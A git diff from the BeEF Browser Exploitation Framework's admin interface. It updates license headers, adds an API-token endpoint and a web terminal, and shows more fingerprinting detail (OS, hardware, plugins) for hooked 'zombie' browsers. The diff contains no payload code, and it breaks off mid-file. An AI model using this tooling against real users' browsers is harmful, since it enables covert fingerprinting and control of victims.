--- a/extensions/admin_ui/constants/agents.rb
+++ b/extensions/admin_ui/constants/agents.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/constants/icons.rb b/extensions/admin_ui/constants/icons.rb
index 73afc7fb3..53bc83e79 100644
--- a/extensions/admin_ui/constants/icons.rb
+++ b/extensions/admin_ui/constants/icons.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/controllers/authentication/authentication.rb b/extensions/admin_ui/controllers/authentication/authentication.rb
index f07a4f94e..78a91e46a 100644
--- a/extensions/admin_ui/controllers/authentication/authentication.rb
+++ b/extensions/admin_ui/controllers/authentication/authentication.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/controllers/authentication/index.html b/extensions/admin_ui/controllers/authentication/index.html
index 7e0dff715..c2c8e3ef9 100644
--- a/extensions/admin_ui/controllers/authentication/index.html
+++ b/extensions/admin_ui/controllers/authentication/index.html
@@ -1,3 +1,8 @@
+
BeEF Authentication
diff --git a/extensions/admin_ui/controllers/logs/logs.rb b/extensions/admin_ui/controllers/logs/logs.rb
index 3759ebdec..e384dd620 100644
--- a/extensions/admin_ui/controllers/logs/logs.rb
+++ b/extensions/admin_ui/controllers/logs/logs.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index b30573a0d..74643feea 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -28,6 +18,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {
+ '/getRestfulApiToken.json' => method(:get_restful_api_token),
'/select/commandmodules/all.json' => method(:select_all_command_modules),
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
'/select/commandmodule.json' => method(:select_command_module),
@@ -43,6 +34,17 @@ class Modules < BeEF::Extension::AdminUI::HttpController
@session = BeEF::Extension::AdminUI::Session.instance
end
+
+ # @note Returns the RESTful api key. Authenticated call, so callable only
+ # from the admin UI after successful authentication (cookie).
+ # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json
+ # response
+ # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"}
+ def get_restful_api_token
+ @body = {
+ 'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
+ }.to_json
+ end
# Returns a JSON array containing the summary for a selected zombie.
def select_zombie_summary
@@ -136,7 +138,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# set and add the return values for the os name
os_name = BD.get(zombie_session, 'OsName')
- if not host_name.nil?
+ if not os_name.nil?
encoded_os_name = CGI.escapeHTML(os_name)
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
@@ -148,6 +150,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
summary_grid_hash['results'].push(page_name_row) # add the row
end
+
+ # set and add the return values for the hardware name
+ hw_name = BD.get(zombie_session, 'Hardware')
+ if not hw_name.nil?
+ encoded_hw_name = CGI.escapeHTML(hw_name)
+ encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
+
+ page_name_row = {
+ 'category' => 'Host',
+ 'data' => encoded_hw_name_hash,
+ 'from' => 'Initialization'
+ }
+
+ summary_grid_hash['results'].push(page_name_row) # add the row
+ end
# set and add the return values for the browser name
browser_name = BD.get(zombie_session, 'BrowserName')
@@ -331,6 +348,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
summary_grid_hash['results'].push(page_name_row) # add the row
end
+ # set and add the yes|no value for hasPhonegap
+ has_phonegap = BD.get(zombie_session, 'hasPhonegap')
+ if not has_phonegap.nil?
+ encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
+ encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
+
+ page_name_row = {
+ 'category' => 'Browser',
+ 'data' => encoded_has_phonegap_hash,
+ 'from' => 'Initialization'
+ }
+
+ summary_grid_hash['results'].push(page_name_row) # add the row
+ end
+
# set and add the yes|no value for HasGoogleGears
has_googlegears = BD.get(zombie_session, 'HasGoogleGears')
if not has_googlegears.nil?
@@ -549,12 +581,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
# append the number of command modules so the branch name results in: " (num)"
parent.each {|command_module_branch|
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
- num_of_command_modules = command_module_branch['children'].length
- command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
-
+ num_of_subs = 0
command_module_branch['children'].each {|c|
+ #add in the submodules and subtract 1 for the folder node
+ num_of_subs+=c['children'].length-1 if c.has_key?('children')
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
}
+ num_of_command_modules = command_module_branch['children'].length + num_of_subs
+ command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
+
end
}
end
diff --git a/extensions/admin_ui/controllers/panel/index.html b/extensions/admin_ui/controllers/panel/index.html
index 31c92c23c..4091f664d 100644
--- a/extensions/admin_ui/controllers/panel/index.html
+++ b/extensions/admin_ui/controllers/panel/index.html
@@ -1,3 +1,8 @@
+
@@ -28,7 +33,12 @@
<%= script_tag 'ui/panel/tabs/ZombieTabRider.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabXssRays.js' %>
- <%= script_tag 'ui/panel/PanelViewer.js' %>
+ <%= script_tag 'wterm/wterm.jquery.js' %>
+ <%= stylesheet_tag 'wterm.css' %>
+
+ <%= script_tag 'ui/panel/tabs/ZombieTabIpec.js' %>
+
+ <%= script_tag 'ui/panel/PanelViewer.js' %>
<%= script_tag 'ui/panel/DataGrid.js' %>
<%= script_tag 'ui/panel/MainPanel.js' %>
<%= script_tag 'ui/panel/ZombieTab.js' %>
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index f50adb121..e2fe61f07 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -1,107 +1,118 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
-module Extension
-module AdminUI
-module Controllers
+ module Extension
+ module AdminUI
+ module Controllers
#
#
#
-class Panel < BeEF::Extension::AdminUI::HttpController
-
- def initialize
- super({
- 'paths' => {
- '/' => method(:index),
- '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
- }
- })
- end
-
- # default index page
- def index; end
-
- # return a JSON object contains all the updates for the hooked browser trees
- def hooked_browser_tree_update
- # retrieve the hbs that are online
- hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
-
- # retrieve the hbs that are offline
- hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
-
- # retrieve the distributed engine rules that are enabled
- distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
-
- # hash that gets populated with all the information for the hb trees
- ret = {
- 'success' => true,
-
- # the list of hb
- 'hooked-browsers' => {
- 'online' => hooked_browsers_online,
- 'offline' => hooked_browsers_offline
- },
-
- # the rules for the distributed engine
- 'ditributed-engine-rules' => distributed_engine_rules
- }
-
- @body = ret.to_json
- end
-
- # Takes a list distributed engine rules and format the results into JSON
- def distributed_engine_rules_2_json_simple(rules)
+ class Panel < BeEF::Extension::AdminUI::HttpController
- end
-
- # Takes a list of zombies and format the results in a JSON array.
- def zombies2json_simple(zombies)
- zombies_hash = {}
- i = 0
-
- zombies.each do |zombie|
- # create hash of zombie details
- zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
- i+=1
+ def initialize
+ super({
+ 'paths' => {
+ '/' => method(:index),
+ '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
+ }
+ })
+ end
+
+ # default index page
+ def index;
+ end
+
+ # return a JSON object contains all the updates for the hooked browser trees
+ def hooked_browser_tree_update
+ # retrieve the hbs that are online
+ hooked_browsers_online = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)))
+
+ # retrieve the hbs that are offline
+ hooked_browsers_offline = zombies2json_simple(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)))
+
+ # retrieve the distributed engine rules that are enabled
+ distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Core::DistributedEngine::Models::Rules.all(:enabled => true))
+
+ # hash that gets populated with all the information for the hb trees
+ ret = {
+ 'success' => true,
+
+ # the list of hb
+ 'hooked-browsers' => {
+ 'online' => hooked_browsers_online,
+ 'offline' => hooked_browsers_offline
+ },
+
+ # the rules for the distributed engine
+ 'ditributed-engine-rules' => distributed_engine_rules
+ }
+
+ @body = ret.to_json
+ end
+
+ # Takes a list distributed engine rules and format the results into JSON
+ def distributed_engine_rules_2_json_simple(rules)
+
+ end
+
+ # Takes a list of zombies and format the results in a JSON array.
+ def zombies2json_simple(zombies)
+ zombies_hash = {}
+ i = 0
+
+ zombies.each do |zombie|
+ # create hash of zombie details
+ zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
+ i+=1
+ end
+
+ zombies_hash
+ end
+
+ # create a hash of simple hooked browser details
+ def get_simple_hooked_browser_hash(hooked_browser)
+
+ browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+ browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
+ browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+ os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+ os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+ hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+ hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
+ domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+ has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+ has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
+ has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
+ has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
+ date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+
+ return {
+ 'session' => hooked_browser.session,
+ 'ip' => hooked_browser.ip,
+ 'domain' => domain,
+ 'port' => hooked_browser.port.to_s,
+ 'browser_name' => browser_name,
+ 'browser_version' => browser_version,
+ 'browser_icon' => browser_icon,
+ 'os_icon' => os_icon,
+ 'os_name' => os_name,
+ 'hw_icon' => hw_icon,
+ 'hw_name' => hw_name,
+ 'has_flash' => has_flash,
+ 'has_web_sockets' => has_web_sockets,
+ 'has_googlegears' => has_googlegears,
+ 'has_java' => has_java,
+ 'date_stamp' => date_stamp
+ }
+
+ end
+ end
+
+ end
end
-
- zombies_hash
- end
-
- # create a hash of simple hooked browser details
- def get_simple_hooked_browser_hash(hooked_browser)
-
- browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
- os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
- domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
-
- return {
- 'session' => hooked_browser.session,
- 'ip' => hooked_browser.ip,
- 'domain' => domain,
- 'port' => hooked_browser.port.to_s,
- 'browser_icon' => browser_icon,
- 'os_icon' => os_icon
- }
-
end
end
-
-end
-end
-end
-end
diff --git a/extensions/admin_ui/extension.rb b/extensions/admin_ui/extension.rb
index 041d30d30..1ce500b0e 100644
--- a/extensions/admin_ui/extension.rb
+++ b/extensions/admin_ui/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/handlers/ui.rb b/extensions/admin_ui/handlers/ui.rb
index 3bfc0da3a..8a375aa52 100644
--- a/extensions/admin_ui/handlers/ui.rb
+++ b/extensions/admin_ui/handlers/ui.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
#
# Generic Http Handler that extensions can use to register http
diff --git a/extensions/admin_ui/media/css/base.css b/extensions/admin_ui/media/css/base.css
index ca32174a6..516acd487 100644
--- a/extensions/admin_ui/media/css/base.css
+++ b/extensions/admin_ui/media/css/base.css
@@ -1,18 +1,9 @@
/*
- * Copyright 2012 Wade Alcorn wade@bindshell.net
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
*/
+
#header .right-menu {
float: right;
margin: 10px;
diff --git a/extensions/admin_ui/media/css/ext-all.css b/extensions/admin_ui/media/css/ext-all.css
index 7e56a6030..230fbd0ae 100644
--- a/extensions/admin_ui/media/css/ext-all.css
+++ b/extensions/admin_ui/media/css/ext-all.css
@@ -1,18 +1,9 @@
/*
- * Copyright 2012 Wade Alcorn wade@bindshell.net
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
*/
+
/*!
* Ext JS Library 3.3.1
* Copyright(c) 2006-2010 Sencha Inc.
diff --git a/extensions/admin_ui/media/css/wterm.css b/extensions/admin_ui/media/css/wterm.css
new file mode 100644
index 000000000..45217e860
--- /dev/null
+++ b/extensions/admin_ui/media/css/wterm.css
@@ -0,0 +1,19 @@
+/*
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
+ */
+
+/* Basic Terminal CSS */
+.wterm_terminal { background: #000; color: #fff; font-size: 1em; font-family: monospace; padding: 3px; width: 100%; height: 100%; display: block; overflow-x: none; overflow-y: auto; }
+
+/* TODO: Input Box Width is faulty */
+.wterm_terminal input { background: transparent; border: 0; color: #fff; width: 100%; font-size: 1em; font-family: monospace; outline: none; }
+.wterm_terminal div:first { margin-bottom: 1em; }
+.wterm_terminal .wterm_prompt { float: left; clear: left; }
+.wterm_terminal form { float: left; margin: 0px; width: 75%; }
+
+/* Themes */
+.wterm_theme_green_on_black { background: #000; color: #0f0; }
+.wterm_theme_green_on_black input { background: transparent; border: 0; color: #0f0; }
+
diff --git a/extensions/admin_ui/media/images/icons/htc.ico b/extensions/admin_ui/media/images/icons/htc.ico
new file mode 100644
index 000000000..a4b722423
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/htc.ico differ
diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png
new file mode 100644
index 000000000..a3477139c
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/ios.png differ
diff --git a/extensions/admin_ui/media/images/icons/iphone.jpg b/extensions/admin_ui/media/images/icons/iphone.jpg
new file mode 100644
index 000000000..134b5c9f9
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/iphone.jpg differ
diff --git a/extensions/admin_ui/media/images/icons/iphone.png b/extensions/admin_ui/media/images/icons/iphone.png
deleted file mode 100644
index ab4a8cc31..000000000
Binary files a/extensions/admin_ui/media/images/icons/iphone.png and /dev/null differ
diff --git a/extensions/admin_ui/media/images/icons/kindle.png b/extensions/admin_ui/media/images/icons/kindle.png
new file mode 100644
index 000000000..b858fc003
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/kindle.png differ
diff --git a/extensions/admin_ui/media/images/icons/motorola.png b/extensions/admin_ui/media/images/icons/motorola.png
new file mode 100644
index 000000000..fee6d6e65
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/motorola.png differ
diff --git a/extensions/admin_ui/media/images/icons/nexus.png b/extensions/admin_ui/media/images/icons/nexus.png
new file mode 100644
index 000000000..16ffc743b
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/nexus.png differ
diff --git a/extensions/admin_ui/media/images/icons/nokia.ico b/extensions/admin_ui/media/images/icons/nokia.ico
new file mode 100644
index 000000000..fe5497301
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/nokia.ico differ
diff --git a/extensions/admin_ui/media/images/icons/pc.png b/extensions/admin_ui/media/images/icons/pc.png
new file mode 100644
index 000000000..d8f38aca7
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/pc.png differ
diff --git a/extensions/admin_ui/media/images/icons/sony_ericsson.png b/extensions/admin_ui/media/images/icons/sony_ericsson.png
new file mode 100644
index 000000000..1dab4a8d2
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/sony_ericsson.png differ
diff --git a/extensions/admin_ui/media/images/icons/webos.png b/extensions/admin_ui/media/images/icons/webos.png
new file mode 100644
index 000000000..d5c0b70d7
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/webos.png differ
diff --git a/extensions/admin_ui/media/images/icons/zune.gif b/extensions/admin_ui/media/images/icons/zune.gif
new file mode 100644
index 000000000..6d8259b13
Binary files /dev/null and b/extensions/admin_ui/media/images/icons/zune.gif differ
diff --git a/extensions/admin_ui/media/javascript/esapi/Class.create.js b/extensions/admin_ui/media/javascript/esapi/Class.create.js
index 4c7d8891b..81fc6ad5e 100644
--- a/extensions/admin_ui/media/javascript/esapi/Class.create.js
+++ b/extensions/admin_ui/media/javascript/esapi/Class.create.js
@@ -1,3 +1,9 @@
+/*
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
+ */
+
/* Simple JavaScript Inheritance
* By John Resig http://ejohn.org/
* MIT Licensed.
diff --git a/extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js b/extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js
index d120d8c74..d05281662 100644
--- a/extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js
+++ b/extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js
@@ -21,7 +21,7 @@ encoded+=': ';}
for(var i=0;i=0||hex[cc]==null){encoded+=ch;continue;}
+encoded+=encodeURIComponent(input);encoded+=attr?'"':'';return encoded;},encodeForJavascript:function(input){hasBeenInitialized=true;immune=default_immune['js'];var encoded='';for(var i=0;i=0||hex[cc]==null){encoded+=ch;continue;}
var temp=cc.toString(16),pad;if(cc<256){pad='00'.substr(temp.length);encoded+='\\x'+pad+temp.toUpperCase();}else{pad='0000'.substr(temp.length);encoded+='\\u'+pad+temp.toUpperCase();}}
return encoded;},canonicalize:function(input,strict){hasBeenInitialized=true;if(input===null)return null;var out=input,cycle_out=input;var decodeCount=0,cycles=0;var codecs=[new HTMLEntityCodec(),new PercentCodec(),new CSSCodec()];while(true){cycle_out=out;for(var i=0;i ";
- text += " ";
- text += zombie_array[index]["ip"];
+
+ var ip = zombie_array[index]["ip"];
+ var session = zombie_array[index]["session"];
+ var browser_name = zombie_array[index]["browser_name"];
+ var browser_version = zombie_array[index]["browser_version"];
+ var browser_icon = zombie_array[index]["browser_icon"];
+ var os_icon = zombie_array[index]["os_icon"];
+ var os_name = zombie_array[index]["os_name"];
+ var hw_name = zombie_array[index]["hw_name"];
+ var hw_icon = zombie_array[index]["hw_icon"];
+ var domain = zombie_array[index]["domain"];
+ var port = zombie_array[index]["port"];
+ var has_flash = zombie_array[index]["has_flash"];
+ var has_web_sockets = zombie_array[index]["has_web_sockets"];
+ var has_googlegears = zombie_array[index]["has_googlegears"];
+ var has_java = zombie_array[index]["has_java"];
+ var date_stamp = zombie_array[index]["date_stamp"];
+
+ text = " ";
+ text+= " ";
+ text+= " ";
+ text+= ip;
+
+ balloon_text = "IP: " + ip;
+ balloon_text+= " Browser: " + browser_name + " " + browser_version;
+ balloon_text+= " System: " + os_name;
+ balloon_text+= " Hardware: " + hw_name;
+ balloon_text+= " Domain: " + domain + ":" + port;
+ balloon_text+= " Flash: " + has_flash;
+ balloon_text+= " Java: " + has_java;
+ balloon_text+= " Web Sockets: " + has_web_sockets;
+ balloon_text+= " Google Gears: " + has_googlegears;
+ balloon_text+= " Date: " + date_stamp;
var new_zombie = {
- 'id' : index,
- 'ip' : zombie_array[index]["ip"],
- 'session' : zombie_array[index]["session"],
- 'text': text,
- 'check' : false,
- 'domain' : zombie_array[index]["domain"],
- 'port' : zombie_array[index]["port"]
+ 'id' : index,
+ 'ip' : ip,
+ 'session' : session,
+ 'text' : text,
+ 'balloon_text' : balloon_text,
+ 'check' : false,
+ 'domain' : domain,
+ 'port' : port
};
return new_zombie;
diff --git a/extensions/admin_ui/media/javascript/ui/panel/common.js b/extensions/admin_ui/media/javascript/ui/panel/common.js
index df8129193..8e5f15a71 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/common.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/common.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
var zombie_execute_button_text = 'Execute'
var zombie_reexecute_button_text = 'Re-execute'
var re_execute_command_title = 'Re-execute command'
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js
index bf9bb7357..1a03cf59a 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabCommands.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* The command tab panel. Listing the list of commands sent to the zombie.
* Loaded in /ui/panel/index.html
diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
index 9e038cff2..e80c39d42 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabDetails.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
